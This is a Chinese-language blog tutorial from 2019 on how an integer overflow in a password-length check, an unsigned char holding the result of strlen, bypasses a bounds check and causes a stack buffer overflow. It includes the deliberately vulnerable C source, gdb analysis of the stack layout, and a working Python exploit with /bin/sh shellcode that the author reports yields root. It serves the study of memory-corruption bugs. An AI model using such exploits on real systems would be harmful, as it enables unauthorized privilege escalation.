整数溢出

整数溢出会导致堆栈溢出或堆溢出

Posted by gxkyrftx on February 25, 2019

0.前言

存储大于最大支持值的值称为整数溢出。整数溢出本身不会导致任意代码执行,但整数溢出可能会导致栈溢出或堆溢出,这可能导致任意代码执行。本次讨论栈溢出。常见的数据类型大小及范围

2

如果想让255存储于无符号的char类型时,它是可以正常存储的,在正常范围之内。但是如果想要存储256,它会被存储为0,同样的257,会存储为1,这就是整数溢出,可能导致任意代码执行。

类似地,存储小于最小支持值的值称为整数下溢。例如,当我们尝试将-2147483649存储到带符号的int数据类型时,它将被包装并存储为21471483647.这称为整数下溢。

1.环境及工具

虚拟机环境:Ubuntu 12.04 Desktop(x86)

工具:gdb-peda

2.漏洞程序的成因分析

2.1 漏洞代码

一个简单的含有栈溢出漏洞的代码如下:

//vuln.c

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd);  
 if(passwd_len >= 4 && passwd_len <= 8) { 
  printf("Valid Password\n"); 
  fflush(stdout);
  strcpy(passwd_buf,passwd); 
 } else {
  printf("Invalid Password\n"); 
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf);
}

int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}

漏洞代码的位置为:unsigned char passwd_len = strlen(passwd); strlen的返回类型是size_t(unsigned int),它存储在unsigned char数据类型中。因此,任何大于unsigned char的最大支持值的值都会导致整数溢出。因此当密码长度为261时,261将被存储为passwd_len变量中的5.由于这个整数溢出,可以绕过边界检查,也就是代码:if(passwd_len >= 4 && passwd_len <= 8),从而使代码继续执行下去,执行到:strcpy(passwd_buf,passwd); 导致基于堆栈的缓冲区溢出。

2.2 调试

首先编译链接源代码,使之成为可执行文件。(同样的,需要先关闭栈保护,使栈变得可写,这个漏洞才能生效;关闭aslr地址随机化关闭),修改可执行文件的用户组为root,修改权限等。

然后开始调试,由于需要输入满足条件的字符数,使strlen函数的输出产生溢出,所以可以输入261个A进行调试。

3

查看程序崩溃时的状态,可以看到被成功覆盖

直接使用gdb查看main函数的汇编代码

Dump of assembler code for function main:
   0x0804852a <+0>: push   ebp
   0x0804852b <+1>: mov    ebp,esp
   0x0804852d <+3>: and    esp,0xfffffff0
   0x08048530 <+6>: sub    esp,0x10
   0x08048533 <+9>: cmp    DWORD PTR [ebp+0x8],0x3
   0x08048537 <+13>:    je     0x804855e <main+52>
   0x08048539 <+15>:    mov    DWORD PTR [esp],0x8048680
   0x08048540 <+22>:    call   0x80483a0 <puts@plt>
   0x08048545 <+27>:    mov    eax,ds:0x804a020
   0x0804854a <+32>:    mov    DWORD PTR [esp],eax
   0x0804854d <+35>:    call   0x8048380 <fflush@plt>
   0x08048552 <+40>:    mov    DWORD PTR [esp],0xffffffff
   0x08048559 <+47>:    call   0x80483c0 <exit@plt>
   0x0804855e <+52>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048561 <+55>:    add    eax,0x4
   0x08048564 <+58>:    mov    eax,DWORD PTR [eax]
   0x08048566 <+60>:    mov    DWORD PTR [esp],eax
   0x08048569 <+63>:    call   0x8048499 <validate_uname>
   0x0804856e <+68>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048571 <+71>:    add    eax,0x8
   0x08048574 <+74>:    mov    eax,DWORD PTR [eax]
   0x08048576 <+76>:    mov    DWORD PTR [esp],eax
   0x08048579 <+79>:    call   0x804849e <validate_passwd>
   0x0804857e <+84>:    mov    eax,0x0
   0x08048583 <+89>:    leave  
   0x08048584 <+90>:    ret    
End of assembler dump.

栈布局大致如下

地址 指针
  pssward  
0xbffff21c return address  
0xbffff218 调用者的ebp ebp
  edi  
  对齐空间  
  pwd_buf[8-11]+pwd_len  
  pwd_buf[4-7]  
  pwd_buf[0-3]  
0xbffff204 pwd_buf[0-3]  
0xbffff1e0   esp

根据栈布局,可以看到Return Address的地址位于buffer首地址+12(buffer大小)+1(buffer长度)+4(对齐空间)+4(edi)+4(调用者的ebp)。 因此,用户输入的”A” * 24 + “B” * 4 + “C” * 233,以A覆盖passwd_buf,passwd_len,对齐空间,edi和调用者的ebp,以BBBB覆盖返回地址,以C覆盖剩余空间

4

可以看到eip被成功覆盖

3.编写exp

最终构造payload:“A”24+ret_addr(4字节)+nop(100字节)+shellcode(25字节)+“C”108,最后结果payload应该为261字节,ret_addr的值位于用户输入的passwd的位置。 python代码如下:

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "sploitfun"
ret_addr = 0xbffff284

scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

def conv(num):
 return struct.pack("<I",num)
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

5

可以看到通过执行exp成功获取了系统的root权限。


本文访问量: